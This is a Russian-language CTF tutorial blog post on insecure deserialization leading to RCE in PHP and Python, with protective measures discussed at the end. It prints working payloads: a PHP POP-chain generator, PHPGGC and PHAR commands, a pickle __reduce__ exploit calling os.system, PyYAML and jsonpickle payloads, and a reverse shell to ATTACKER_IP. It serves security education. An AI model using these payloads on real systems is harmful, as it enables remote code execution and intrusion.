Главная / Блог / Небезопасная десериализация RCE в PHP и Python

13 мин.00

Небезопасная десериализация RCE в PHP и Python

Небезопасная десериализация RCE в PHP и Python

На CTF три команды из десяти решили веб-задачу за первые 30 минут: unserialize() на cookie, три класса в исходнике, POP-цепочка до system(), флаг в stdout. Остальные семь потратили часы — потому что не умели читать сериализованную строку побайтно и строить цепочку вызовов руками. Я видел это не раз.

Небезопасная десериализация (CWE-502 — Deserialization of Untrusted Data) входит в OWASP A08:2021 — Software and Data Integrity Failures. Штука, где от обнаружения точки входа до удалённого выполнения кода — один HTTP-запрос. Один. В продакшене CVE-2015-4852 — Java-десериализация в Oracle WebLogic Server (CVSS 9.8, CRITICAL) через Apache Commons Collections gadget chain в T3-протоколе — эксплуатировалась массово: EPSS 0.96 (top 1% среди всех CVE), в каталоге CISA KEV с 2021 года, SSVC decision — «Act». Scope этой CVE ограничен WebLogic Server (per NVD note), но сам принцип — десериализация недоверенных данных, ведущая к RCE — универсален и переносится на PHP/Python без оговорок. На CTF ставки ниже, но навыки те же. Разберём оба стека — PHP и Python — с акцентом на то, что реально забирает флаги.

Формат сериализации PHP: разбираем строку побайтно

Прежде чем эксплуатировать PHP unserialize уязвимость, надо научиться читать сериализованную строку как структурированную таблицу свойств. PHP использует текстовый формат, где каждый элемент описан парой «тип:данные».

Типы данных в сериализованном представлении:

Префикс Тип Пример
b boolean b:1 (true), b:0 (false)
i integer i:42
d float d:3.14
s string (с длиной) s:5:"hello"
a array (с числом элементов) a:2:{i:0;s:3:"one";i:1;s:3:"two";}
O object (имя класса + свойства) O:4:"User":2:{...}

Разберём конкретную строку побайтно:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

Каждый элемент: - O:4:"User" — объект класса User (4 символа в имени) - :2: — два свойства у объекта - s:8:"username" — имя первого свойства, строка длиной 8 - s:6:"carlos" — значение первого свойства, строка длиной 6 - s:7:"isAdmin" — имя второго свойства, строка длиной 7 - b:0 — значение isAdmin = boolean false

На CTF первое действие опытного игрока — перехватить трафик в Burp, декодировать cookie из base64, увидеть O: в начале и зафиксировать: перед нами PHP-объект. Дальше — анализ свойств. Подменяем b:0 на b:1, и если сервер проверяет if ($user->isAdmin === true) после unserialize() — привилегии администратора получены без единого вызова магического метода. По данным PortSwigger, модификация атрибутов сериализованного объекта — самый простой вектор эксплуатации небезопасной десериализации. И самый недооценённый.

Отдельный трюк для PHP 7.x и ниже: оператор нестрогого сравнения == конвертирует строку в число. Заменяем строковый пароль в сериализованном объекте на i:0 (integer 0) — и проверка 0 == "any_password_string" вернёт true. Сравнение 5 == "5 of something" тоже пройдёт: PHP берёт число из начала строки и плюёт на остаток. В PHP 8+ поведение исправлено: 0 == "string" возвращает false. Но на CTF-площадках старые версии PHP встречаются постоянно, и этот трюк решает задачи за минуты.

PHP object injection: магические методы __wakeup __destruct и эксплуатация

Модификация свойств — начальный уровень. Для полноценного RCE через эксплуатацию десериализации объектов нужны магические методы и гаджет-цепочки.

Жизненный цикл объекта при PHP unserialize уязвимости

Функция unserialize() выполняет строгую последовательность шагов:

  1. Создаёт экземпляр класса (выделяет память)
  2. Заполняет свойства значениями из сериализованной строки
  3. Вызывает __wakeup() — если метод определён в классе
  4. Объект используется кодом приложения
  5. При уничтожении (конец скрипта, unset(), выход из scope) вызывается __destruct()

Три магических метода, которые эксплуатируются чаще всего:

__wakeup() срабатывает сразу после восстановления объекта. Если внутри eval($this->data) или system($this->cmd) и аргументы берутся из свойств объекта — это прямой RCE через одно контролируемое свойство. Бинго.

__destruct() срабатывает при уничтожении объекта. Типичный CTF-паттерн: деструктор вызывает file_put_contents($this->logFile, $this->logData). Контролируя оба свойства, записываем веб-шелл в публичную директорию.

__toString() вызывается при приведении объекта к строке (конкатенация, echo, передача в строковую функцию). В POP-цепочках часто выступает промежуточным звеном: один объект приводится к строке, вызывается __toString(), который дёргает метод другого объекта.

По данным PortSwigger, эксплуатация не всегда ведёт к исполнению команд — возможны чтение/запись файлов, SQL-инъекция, DoS. Но на CTF обычно ищут именно путь к RCE.

Сборка гаджет-цепочки PHP от исходника к флагу

Гаджет-цепочка (gadget chain, она же POP chain — Property-Oriented Programming) — последовательность вызовов методов разных классов, где выход одного становится входом следующего. В конце цепочки — sink: system(), exec(), eval(), file_put_contents().

Алгоритм сборки на CTF:

  1. Найти вызов unserialize() с пользовательскими данными — точка входа
  2. Найти sink — функцию, исполняющую команды или записывающую файлы
  3. Построить путь от точки входа до sink через магические методы и свойства
  4. Сгенерировать payload PHP-скриптом (не вручную — ошибки в длинах строк гарантированы)

Типичный CTF-сценарий: в исходнике три класса. Класс Logger с деструктором, который вызывает file_put_contents($this->logFile, $this->logData). Класс DatabaseExport с деструктором $this->data->close($this->user). Класс CommandRunner с методом close($arg), внутри которого system($this->cmd . " " . $arg).

Цепочка: создаём объект DatabaseExport, в свойство $data помещаем CommandRunner с нужной командой, в $user — пустую строку. При уничтожении DatabaseExport вызовется __destruct()$this->data->close("")CommandRunner::close("")system("cat /flag "). Как матрёшка — один объект внутри другого.

$runner = new CommandRunner();
$runner->cmd = "cat /flag";
$export = new DatabaseExport();
$export->data = $runner;
$export->user = "";
echo urlencode(serialize($export));

Полученный payload передаётся в параметр, обрабатываемый unserialize(). Деструктор сработает при завершении скрипта — флаг вернётся в HTTP-ответе. POP-цепочка работает только если все классы из цепочки доступны в контексте выполнения (загружены через include, require или autoloader). На CTF это обычно гарантировано, но проверять стоит.

PHPGGC и автоматизация phpggc gadget chains

Не всегда цепочку нужно собирать руками. Если приложение крутится на популярном фреймворке (Laravel, Symfony, Yii, Magento, WordPress), в его кодовой базе уже есть классы с подходящими магическими методами. Утилита PHPGGC — аналог ysoserial для Java — содержит готовые цепочки для десятков фреймворков.

Базовое использование: phpggc Laravel/RCE1 system "cat /flag" генерирует сериализованный объект для Laravel. Просмотр всех цепочек: phpggc -l. Генерация в base64: phpggc -b Laravel/RCE1 system id. Для разных версий фреймворка — разные цепочки: Laravel/RCE1 может не сработать на Laravel 10, но Laravel/RCE5 подойдёт.

На CTF перед запуском PHPGGC нужно определить фреймворк и версию: - Заголовок X-Powered-By или cookie с характерным именем (laravel_session, XDEBUG_SESSION, PHPSESSID) - Структура URL и ответ на несуществующий маршрут (whoops-страница Symfony, debug-page Laravel) - Содержимое composer.json или composer.lock (если удалось стянуть через path traversal, .git/ или backup-файлы)

PHPGGC работает только если на сервере доступен код фреймворка с нужными классами. Авторы CTF-задач повышенной сложности любят подкидывать кастомные классы, для которых автоматизация бесполезна — и тут пригождается навык ручной сборки POP-цепочки.

По данным HackTricks, иногда можно злоупотреблять не только кодом фреймворка, но и расширениями PHP, загруженными на сервере. Проверить их можно через phpinfo() — если он торчит наружу.

PHAR-десериализация как скрытый вектор атаки

PHAR-архивы (PHP Archive) содержат сериализованные метаданные в заголовке. PHP автоматически десериализует их при обращении к файлу через потоковую обёртку phar://. Даже без прямого вызова unserialize() в коде файловая операция с контролируемым путём становится точкой входа. Неожиданно, правда?

Условия эксплуатации: - Возможность загрузить файл на сервер (форма загрузки, аватар, импорт CSV) - Возможность обратиться к файлу через phar:// (контролируемый путь в fopen(), file_get_contents(), file_put_contents(), copy(), unlink() или другой файловой функции, открывающей содержимое потока через phar://; функции вроде file_exists(), is_dir(), filemtime(), работающие через stat(), как правило НЕ триггерят десериализацию метаданных)

Схема атаки на CTF:

  1. Генерация PHAR с вредоносными метаданными: phpggc -p phar -o exploit.phar Laravel/RCE1 system id
  2. Переименование в допустимое расширение: mv exploit.phar exploit.jpg — PHAR не привязан к расширению
  3. Загрузка через форму
  4. Обращение через phar://uploads/exploit.jpg — PHP десериализует метаданные, цепочка сработает

По данным PortSwigger, PHAR-десериализация расширяет поверхность атаки именно потому, что разработчики не ожидают десериализацию в файловых операциях. На CTF этот вектор встречается в задачах уровня medium-hard, где прямой unserialize() отсутствует.

Pickle RCE Python: десериализация без гаджет-цепочек

В PHP для небезопасной десериализации RCE нужны подходящие классы с магическими методами. В Python всё радикально проще: модуль pickle позволяет выполнить произвольный код без каких-либо дополнительных условий. Официальная документация Python прямо предупреждает: «Never unpickle data received from an untrusted or unauthenticated source». И это не формальность — это крик души разработчиков.

Метод reduce и Python pickle deserialization exploit

Ключевой механизм: магический метод __reduce__() возвращает кортеж из вызываемого объекта (callable) и аргументов. При десериализации pickle вызывает callable с указанными аргументами. Если callable = os.system, а аргумент = shell-команда — полноценный RCE. Никаких гаджет-цепочек, никакого поиска подходящих классов. Просто берёшь и выполняешь.

import pickle, os, base64
class Exploit:
    def __reduce__(self):
        return (os.system, ("cat /flag",))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

Payload передаётся в base64-кодированном виде через cookie, POST-параметр или WebSocket-сообщение. Признак pickle-данных — magic bytes \x80\x0N (где N — версия протокола от 0 до 5) после base64-декодирования. В Python 3.8+ протокол по умолчанию — 5, поэтому чаще всего встретится \x80\x05. Увидели эти байты в перехваченном трафике — сразу понятно: Python pickle, точка входа для RCE.

Для reverse shell достаточно заменить команду: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. В терминологии MITRE ATT&CK это Exploit Public-Facing Application (T1190, Initial Access) с последующим выполнением через Unix Shell (T1059.004, Execution) или Python (T1059.006, Execution).

Фундаментальное отличие от PHP: не нужно искать подходящие классы в codebase. Любой endpoint, вызывающий pickle.loads() на пользовательских данных — готовый RCE. Задачи с pickle на CTF обычно сложнее не в эксплуатации, а в обнаружении точки входа: pickle-данные могут быть спрятаны в Redis-кеше, Celery-задаче, ML-модели или session-хранилище Flask.

Нюанс с протоколами: Python pickle имеет версии от 0 до 5. Python 2 (EOL с 2020 года) поддерживает только протоколы 0–2, а в Python 3.8+ протокол по умолчанию — 5. На современных CTF Python 2 встречается крайне редко, но если задача использует Python 2 и payload сгенерирован с protocol=3 или выше — десериализация не произойдёт, unpickler в Python 2 не поддерживает протоколы 3+. Для legacy-задач безопаснее генерировать с protocol=2: pickle.dumps(Exploit(), protocol=2). Для Python 3 (даже старых версий 3.x) unpickler обратно совместим со всеми протоколами 0–5, и протокол по умолчанию работает без проблем.

PyYAML и jsonpickle — эксплуатация десериализации объектов в других форматах

Pickle — не единственный вектор в Python. Два других варианта регулярно всплывают на CTF:

PyYAML — функция yaml.load() без указания Loader=yaml.SafeLoader поддерживает Python-специфичные теги, позволяющие инстанцировать объекты при парсинге. Вредоносный YAML-документ !!python/object/apply:os.system args: ['id'] выполнит команду id при загрузке через yaml.load(user_input). Исправление тривиально: yaml.safe_load() вместо yaml.load(). На CTF YAML-десериализация появляется в задачах с конфигурационными файлами, CI/CD pipeline и DevOps-тематикой.

jsonpickle — библиотека, сохраняющая информацию о Python-типах в JSON. Вызов jsonpickle.decode() на пользовательских данных позволяет внедрить payload через ключ py/reduce: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. По данным RedFoxSec, jsonpickle-эксплойт доставляется обычным HTTP-запросом с Content-Type: application/json, что делает его менее заметным для WAF по сравнению с бинарным pickle.

На CTF jsonpickle и PyYAML встречаются реже чистого pickle, но когда встречаются — часто застают команды врасплох. Никто не ждёт десериализацию от YAML-парсера.

Разведка: как распознать insecure deserialization на web CTF

Прежде чем строить payload, нужно определить тип десериализации. Практические маркеры:

Признак Язык Следующий шаг
O: после base64-декодирования PHP Искать unserialize(), пробовать модификацию свойств
Magic bytes \x80\x03 / \x80\x04 Python (pickle) Генерировать __reduce__ payload
rO0AB в base64 или AC ED в hex Java Использовать ysoserial (нужна гаджет-библиотека в classpath сервера, например Apache Commons Collections, как в CVE-2015-4852)
!!python/object в YAML Python (PyYAML) Подставить !!python/object/apply:os.system
py/reduce в JSON-теле Python (jsonpickle) Собрать JSON payload с py/function
X-Powered-By: PHP + base64 cookie PHP Декодировать и проверить формат
Server: Werkzeug / gunicorn Python Искать pickle/YAML endpoints

На CTF первым делом перехватываем весь трафик через Burp Proxy, декодируем все base64-параметры и проверяем magic bytes. Пара минут — и вектор атаки как на ладони.

Отдельный паттерн CTF-задач: исходный код выдаётся частично. Вызов unserialize() виден, но определения классов скрыты. Тут нужно либо найти утечку исходников (директория .git/, backup-файлы .bak/.swp, phpinfo() с include_path), либо перебирать имена классов через пустой объект O:N:"ClassName":0:{} и анализировать ответ сервера — ошибка «class not found» отличается от успешной десериализации.

Ещё один маркер: если в задаче выдан Dockerfile или docker-compose.yml, проверьте зависимости. Строка RUN composer require laravel/framework в Dockerfile = PHPGGC. Строка pip install flask = потенциальный pickle в сессиях (при этом рекомендуется обновить Flask до последней версии, устраняющей известные DoS-уязвимости, такие как GHSA-562c-5r94-xh97 и GHSA-5wv5-4vpf-pj6m — конкретные исправленные версии указаны в соответствующих advisory). Строка pip install pyyaml без pyyaml>=6.0 = потенциальный unsafe yaml.load().

Типичные ошибки и защитные механизмы

Ошибки, которые регулярно стоят флагов на CTF:

Неправильная длина строки в PHP payload. После замены s:4:"user" на "admin" забывают обновить числовой указатель: должно быть s:5:"admin". PHP парсер строг к формату — несовпадение длины = ошибка десериализации, payload не сработает. Я на это наступал раз пять, прежде чем приучил себя генерировать payload скриптом через echo serialize($obj);.

Путаница с видимостью свойств. Protected-свойства сериализуются с нулевыми байтами: \x00*\x00propertyName. Private — с \x00ClassName\x00propertyName. В текстовом редакторе нулевые байты теряются, и payload ломается. Решение то же: генерация скриптом. Если нужно передать payload через URL — urlencode() корректно обработает нулевые байты.

Игнорирование allowed_classes в PHP. Начиная с PHP 7.0, unserialize() принимает массив опций: unserialize($data, ['allowed_classes' => false]) — полный запрет инстанцирования объектов. Или whitelist: ['allowed_classes' => ['SafeModel']]. По данным HackTricks, на PHP < 7.0 этот параметр не поддерживается вообще, и любой вызов unserialize() потенциально опасен. Перед построением цепочки смотрите исходник на наличие этой защиты.

Пропуск контекста исполнения. Команда cat /flag сработает только если файл существует и процесс имеет права на чтение. На CTF флаг бывает в /home/ctf/flag.txt, в переменной окружения (env | grep FLAG), в базе данных. Начинайте с id и ls / для разведки, потом — целевая команда.

Защитные механизмы, которые встречаются в CTF-задачах повышенной сложности:

  • HMAC-подпись сериализованных данных — payload не пройдёт без знания секретного ключа. Обход: искать утечку ключа в .env, git-истории, через SSRF к metadata-сервису облачного провайдера
  • json_decode() вместо unserialize() — JSON не воссоздаёт объекты, только примитивы и массивы
  • yaml.safe_load() вместо yaml.load() — отключает Python-специфичные теги
  • Serialization filters — в Java доступны через JEP 290 (с Java 9), позволяют задать allowlist классов для десериализации

Масштаб проблемы в продакшене подтверждает CVE-2015-4852: десериализация в Oracle WebLogic Server версий 10.3.6.0, 12.1.2.0, 12.1.3.0 и 12.2.1.0 позволяла удалённое выполнение команд через T3-протокол без аутентификации. Вектор AV:N/AC:L/PR:N/UI:N — сетевой доступ, низкая сложность, без привилегий, без взаимодействия пользователя. CWE-502 — та самая Deserialization of Untrusted Data. Уязвимость эксплуатировалась в дикой природе с 2021 года, включена в каталог CISA KEV, SSVC — «Act» с пометками: Exploitation = active, Automatable = yes, Technical Impact = total.

Навык построения POP-цепочки переносится с CTF на пентест один к одному. Разница — в масштабе последствий. Но есть проблема, которую мало кто проговаривает: большинство CTF-игроков учат десериализацию как «трюк с PHPGGC» — запустил утилиту, получил payload, вставил, забрал флаг. На реальном пентесте PHPGGC бесполезен, если приложение не на Laravel или Symfony, а на кастомном фреймворке с уникальными классами. Ручная сборка POP-цепочки — навык, который отделяет тех, кто решает CTF-задачи средней сложности, от тех, кто берёт хард-таски и находит RCE в нестандартном коде.

Вторая неудобная вещь: разработчики продолжают использовать pickle.loads() и unserialize() на пользовательских данных, потому что «JSON не сохраняет типы» и «pickle удобнее для кеширования». Удобство заканчивается в момент, когда атакующий подставляет __reduce__ с os.system. Архитектурное решение — не десериализовать пользовательские данные нативными механизмами языка — единственное, которое реально работает. Regex-фильтрация, blacklist классов, проверка magic bytes — всё обходится. Если хочешь не просто writeup, а пройти всю атаку от разведки до RCE самому — на WAPT эта тема разобрана в лабах с менторской поддержкой при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Повышение привилегий Linux: SUID и sudo на CTF

12 мин.

4

Повышение привилегий Linux: SUID и sudo на CTF

Пошаговая методология повышения привилегий Linux на CTF: SUID-бинари, sudo -l, capabilities, cron. Реальные команды, PATH hijacking, чек-лист из 10 шагов.

4 СЕНТЯБРЬ, 2026

SQL-инъекция в CTF: от поиска до sqlmap

12 мин.

6

SQL-инъекция в CTF: от поиска до sqlmap

Пошаговый разбор эксплуатации SQL-инъекций в CTF: UNION, blind, error-based техники с реальными payload'ами и автоматизация через sqlmap с tamper-скриптами

4 СЕНТЯБРЬ, 2026

Netcat и socat для CTF: подключения, шеллы и файлы

12 мин.

5

Netcat и socat для CTF: подключения, шеллы и файлы

Пошаговые команды netcat и socat для CTF: reverse shell, стабилизация TTY, передача файлов. Разбор каждого флага и типичных ошибок новичков.

3 СЕНТЯБРЬ, 2026